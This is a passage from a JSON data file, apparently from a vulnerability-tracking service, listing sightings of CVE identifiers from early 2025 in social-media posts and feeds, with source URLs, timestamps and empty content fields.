{"uuid": "040c09b7-833b-4c06-b515-fea6a385a08b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3lf62hz3zbk2f", "content": "", "creation_timestamp": "2025-01-07T16:19:29.684899Z"}, {"uuid": "7fcc96e0-a8ac-461d-9f7a-a818e4d6936f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55641", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfhs5naevp2a", "content": "", "creation_timestamp": "2025-01-11T13:17:08.085256Z"}, {"uuid": "a4a63b02-4eea-451d-aa7b-92c3fe6ccbb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5594", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lfcrgrcl6j25", "content": "", "creation_timestamp": "2025-01-09T13:21:02.789497Z"}, {"uuid": "0dab1db0-75cf-4aae-90a7-3b8a90af443c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55920", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfq2xm2fb32n", "content": "", "creation_timestamp": "2025-01-14T20:16:07.240806Z"}, {"uuid": "c72217a9-575f-45b9-9a1d-15878a74393e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55891", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfq2xasfvl2e", "content": "", "creation_timestamp": "2025-01-14T20:15:55.504799Z"}, {"uuid": "373b91c1-5cee-47c2-8bfa-326e56358c63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55921", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfq2xoxl4g2r", "content": "", "creation_timestamp": "2025-01-14T20:16:10.183617Z"}, {"uuid": "2e077391-dd7a-4d5f-8bce-f1098f477a20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55553", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4bb7f6bb2k", "content": "", "creation_timestamp": "2025-01-06T23:15:37.869586Z"}, {"uuid": "406e096c-a31b-4b5e-9613-5f0215944b5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55494", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113800185022735237", "content": "", "creation_timestamp": "2025-01-09T20:03:39.328917Z"}, {"uuid": "b274c51a-89f1-485a-92a2-698cf2c07633", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55892", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfq2xdlkqx2s", "content": "", "creation_timestamp": "2025-01-14T20:15:58.270710Z"}, {"uuid": "b87ed9f5-1e7d-4e6f-952e-98483d0e694d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55555", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113788073120387147", "content": "", "creation_timestamp": "2025-01-07T16:43:27.557995Z"}, {"uuid": "6e1a3658-b5eb-4795-b374-bc26b34c288b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55893", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfq2xfvchl2h", "content": "", "creation_timestamp": "2025-01-14T20:16:00.757894Z"}, {"uuid": "625782a5-d9f9-4674-83b8-45a20fa7d133", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55503", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfsy53lesf25", "content": "", "creation_timestamp": "2025-01-16T00:03:30.590896Z"}, {"uuid": "629d52ea-aae2-4a5d-80b2-066b00a8a30b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55553", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4citkuug2h", "content": "", "creation_timestamp": "2025-01-06T23:37:46.952286Z"}, {"uuid": "7a43aa42-928a-4238-9f50-87d254d897cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55894", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfq2xic6fq2j", "content": "", "creation_timestamp": "2025-01-14T20:16:03.204006Z"}, {"uuid": "ffc13b85-2d94-4290-b6e0-ca1e104b69c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55922", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfq2xr4ji22c", "content": "", "creation_timestamp": "2025-01-14T20:16:12.989253Z"}, {"uuid": "16487710-b3ac-45f8-94fa-9e0539744653", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55923", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfq2xtl63c2c", "content": "", "creation_timestamp": "2025-01-14T20:16:15.531541Z"}, {"uuid": "0bdab783-8162-4ce5-b395-6f0165ba6ff5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55924", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfq2xwattm2n", "content": "", "creation_timestamp": "2025-01-14T20:16:18.584980Z"}, {"uuid": "f12ea915-42c6-4c47-81df-b51385d58f6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55538", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lerema5un52l", "content": "", "creation_timestamp": "2025-01-02T15:16:15.723464Z"}, {"uuid": "bdacef74-2a36-47de-9e5a-1d88a2ef4e9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55945", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfq2xyuqwa2j", "content": "", "creation_timestamp": "2025-01-14T20:16:20.616628Z"}, {"uuid": "9a6ec1a3-5172-44b0-972d-ebb61370ecf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55540", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lerhwgfbrv2a", "content": "", "creation_timestamp": "2025-01-02T16:15:37.051631Z"}, {"uuid": "83672318-715f-4577-9cdd-9ad353493bc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55541", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lerhwipyzp25", "content": "", "creation_timestamp": "2025-01-02T16:15:39.781380Z"}, {"uuid": "409bc3fb-a17a-4de3-9a19-a63659646433", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55542", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lerhwlafnn2a", "content": "", "creation_timestamp": "2025-01-02T16:15:42.303464Z"}, {"uuid": "9ee726d8-c0cf-4baf-be91-689f10b6a493", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55543", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lerhwnm4mi2o", "content": "", "creation_timestamp": "2025-01-02T16:15:44.893993Z"}, {"uuid": "0ba8d06e-048a-4544-a80e-a50ce1ff2663", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55541", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lerjxkpt6t2u", "content": "", "creation_timestamp": "2025-01-02T16:51:59.964904Z"}, {"uuid": "c2667b05-0764-4884-aaee-8c69edf7b831", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55540", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lerjxlaehw2q", "content": "", "creation_timestamp": "2025-01-02T16:52:01.841860Z"}, {"uuid": "dce4985e-1281-4453-b58d-ddd828dd12be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55543", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lerjxldnan2h", "content": "", "creation_timestamp": "2025-01-02T16:52:02.492543Z"}, {"uuid": "9a7e7112-5360-41a0-9857-e4816a13eed1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55542", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lerjxlzp622r", "content": "", "creation_timestamp": "2025-01-02T16:52:06.532741Z"}, {"uuid": "f0b28102-02e6-4ccd-9ea8-9fe76deb2d3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55078", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113764946112818435", "content": "", "creation_timestamp": "2025-01-03T14:41:55.969875Z"}, {"uuid": "8a8a0bc0-b05e-46aa-aee2-3308d4b3e521", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5591", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113764946126676292", "content": "", "creation_timestamp": "2025-01-03T14:41:56.245531Z"}, {"uuid": "2028a734-52e0-41a3-9355-5863e304dc9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55078", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3letuzycxso2m", "content": "", "creation_timestamp": "2025-01-03T15:15:33.144946Z"}, {"uuid": "e49e6f14-9648-4bda-8c6f-1f509a66359f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5591", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3letv22wbam22", "content": "", "creation_timestamp": "2025-01-03T15:15:36.478044Z"}, {"uuid": "5b68801c-8c46-477d-9433-ac47b887a9c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55078", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3letx3q5xxk2k", "content": "", "creation_timestamp": "2025-01-03T15:52:52.793314Z"}, {"uuid": "08acb099-883a-4f6c-afd8-a196fde1b35b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5591", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3letx3qbsmj2g", "content": "", "creation_timestamp": "2025-01-03T15:52:53.502590Z"}, {"uuid": "935d63fa-26d3-4b17-894d-0e77dac5ec69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55507", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113765286940357850", "content": "", "creation_timestamp": "2025-01-03T16:08:36.844209Z"}, {"uuid": "41e55126-4ebe-4047-a084-ba1e6580457c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55896", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113766784516427162", "content": "", "creation_timestamp": "2025-01-03T22:29:29.651411Z"}, {"uuid": "22204fa3-161e-4608-9aa1-12c0c5a997fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55955", "type": "seen", "source": "https://bsky.app/profile/ripjyr.bsky.social/post/3leyezbpont2d", "content": "", "creation_timestamp": "2025-01-05T10:12:07.183848Z"}, {"uuid": "c13bb78e-aa5c-4aba-a9a7-db6c4a63597b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5594", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113781746778966575", "content": "", "creation_timestamp": "2025-01-06T13:54:33.722617Z"}, {"uuid": "1bb47ae0-07f6-4a02-97e2-bf69e47b133c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5594", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf3d3cxdlu2i", "content": "", "creation_timestamp": "2025-01-06T14:15:27.521102Z"}, {"uuid": "93f0a768-5165-4bd3-bd18-5c53fab3c5ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5594", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf3f6yejhn2h", "content": "", "creation_timestamp": "2025-01-06T14:53:18.027408Z"}, {"uuid": "7ba68bac-fb52-47d4-9778-14bc788cce1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55605", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113782530465783993", "content": "", "creation_timestamp": "2025-01-06T17:13:51.994214Z"}, {"uuid": "c3e10f3f-d5b1-48c9-9806-c82d7963ccba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55605", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf3n6bko2b2m", "content": "", "creation_timestamp": "2025-01-06T17:16:03.831724Z"}, {"uuid": "5442dbec-79bc-4407-876e-626674b1dd1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55639", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfhs5kn57t2k", "content": "", "creation_timestamp": "2025-01-11T13:17:05.347445Z"}, {"uuid": "f362d431-9bda-48cf-9d30-95784af65ed6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55881", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfhs5rvfru25", "content": "", "creation_timestamp": "2025-01-11T13:17:13.486700Z"}, {"uuid": "9707bb96-a8bd-4a71-8451-3ac2aca92328", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lfrfa424fs25", "content": "", "creation_timestamp": "2025-01-15T08:52:30.056000Z"}, {"uuid": "9e09e957-ba5d-4fd4-ba78-4c32abc971e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55916", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfhs5tyorp2a", "content": "", "creation_timestamp": "2025-01-11T13:17:15.191823Z"}, {"uuid": "b2557792-f596-4694-91a4-3b1e29107c04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lfrfbao6bc25", "content": "", "creation_timestamp": "2025-01-15T08:53:08.481297Z"}, {"uuid": "74ffbb60-21a0-44fd-8fea-1cb66538c1f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113828555456067528", "content": "", "creation_timestamp": "2025-01-14T20:18:37.958979Z"}, {"uuid": "f00706c5-73d7-46a5-8f91-392e16a0d2a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/s0ufi4n3.bsky.social/post/3lftx6kwwj22q", "content": "", "creation_timestamp": "2025-01-16T09:19:07.150678Z"}, {"uuid": "defa94dc-7449-4f46-aef1-fa0491c7aa88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113838917483633394", "content": "", "creation_timestamp": "2025-01-16T16:13:50.047502Z"}, {"uuid": "714af342-b903-467c-af11-43cf2afba6c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55954", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfv3vewomq2h", "content": "", "creation_timestamp": "2025-01-16T20:16:05.020306Z"}, {"uuid": "4ad30e60-0c9a-4ea9-a90d-7f16c27a12eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-01-14T23:51:25.000000Z"}, {"uuid": "1a21764d-fb5b-44f1-afd2-26a29324d7cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55494", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfdipetdto2d", "content": "", "creation_timestamp": "2025-01-09T20:17:26.858970Z"}, {"uuid": "9a5f9182-1585-4b99-afab-0f590499f650", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55641", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfhtocdz632w", "content": "", "creation_timestamp": "2025-01-11T13:44:21.469399Z"}, {"uuid": "98a6cef6-2691-49f2-8bba-99bdf651855e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/kpwn.infosec.exchange.ap.brid.gy/post/3lfpmziaa7t42", "content": "", "creation_timestamp": "2025-01-14T16:06:41.252042Z"}, {"uuid": "e13a7477-85cd-49ab-a168-08952b3a4b38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55639", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfhtocidty2e", "content": "", "creation_timestamp": "2025-01-11T13:44:22.000013Z"}, {"uuid": "d76bb191-1670-4fbb-817c-cc1d18ed4caf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/osanpo.bsky.social/post/3lfrhve2npi2z", "content": "", "creation_timestamp": "2025-01-15T09:40:10.264827Z"}, {"uuid": "077a086b-8df1-42ad-8187-5806442b5093", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-6367-8991-2a25-967351091071", "content": "", "creation_timestamp": "2025-01-16T23:56:02.240729Z"}, {"uuid": "6f892d7a-23e5-40ad-bfe2-c12a21f569fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55881", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfhtoclm4m2h", "content": "", "creation_timestamp": "2025-01-11T13:44:22.507493Z"}, {"uuid": "40823d3c-903e-4490-91f7-527661f28134", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lfrw2pt2v22x", "content": "", "creation_timestamp": "2025-01-15T13:53:51.428871Z"}, {"uuid": "ffd9129e-d2af-4267-9175-aa2ad7157b5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3lfrw4a26kr2x", "content": "", "creation_timestamp": "2025-01-15T13:54:32.979510Z"}, {"uuid": "215c6279-efbc-40c7-9f03-dd17b1dfdcb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/theregister.com/post/3lfq4ljgt6s22", "content": "", "creation_timestamp": "2025-01-14T20:45:09.682286Z"}, {"uuid": "d18e6bfc-f8de-4baa-a45d-c60b3a898145", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/secureinseconds.com/post/3lft5zscw432v", "content": "", "creation_timestamp": "2025-01-16T01:49:01.284560Z"}, {"uuid": "cd2a589f-8666-4bea-9953-4a9e6d5fd89f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lfvavuyhmc27", "content": "", "creation_timestamp": "2025-01-16T21:45:51.301789Z"}, {"uuid": "69394948-3a67-4b2c-acae-4df46cf803a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55511", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfveqk23ld2y", "content": "", "creation_timestamp": "2025-01-16T22:54:27.532540Z"}, {"uuid": "2d84c847-835c-4337-bbe5-6ec9c01f55e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3lfrxwvv2xs2s", "content": "", "creation_timestamp": "2025-01-15T14:27:25.622192Z"}, {"uuid": "ea3a4f09-ebe6-43fd-a2f0-563b598224cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3lfuotu647m2j", "content": "", "creation_timestamp": "2025-01-16T16:22:35.396012Z"}, {"uuid": "1a6758cf-0367-4ef4-8f5d-bf9f53528478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/113839527100179725", "content": "", "creation_timestamp": "2025-01-16T18:48:51.504691Z"}, {"uuid": "b898bbe8-6640-412a-87bc-7c1dfabcd003", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55924", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113828673088149005", "content": "", "creation_timestamp": "2025-01-14T20:48:41.968769Z"}, {"uuid": "798b6ac8-fd4e-4839-b624-f9a3c44e81a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/darkwebinformer.bsky.social/post/3lfuwzgvth22z", "content": "", "creation_timestamp": "2025-01-16T18:48:55.068759Z"}, {"uuid": "78968318-cf42-415e-93cd-9ef8bb27eff5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/3102895", "content": "", "creation_timestamp": "2025-01-14T20:52:11.562160Z"}, {"uuid": "86f4118c-b95d-4815-8436-6450a100ab41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55954", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113839999099780527", "content": "", "creation_timestamp": "2025-01-16T20:48:54.148513Z"}, {"uuid": "716c8f07-8bd7-4df5-9ccd-13081a00ba11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/opsmatters.bsky.social/post/3lfvqep6mhp2k", "content": "", "creation_timestamp": "2025-01-17T02:22:34.062715Z"}, {"uuid": "74a878f3-5ca1-44d0-8258-5e21177c24b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/peterrobards.bsky.social/post/3lfrzf3vwxs2w", "content": "", "creation_timestamp": "2025-01-15T14:53:12.341294Z"}, {"uuid": "12531705-2ca5-410b-be09-8d1553c20e37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55511", "type": 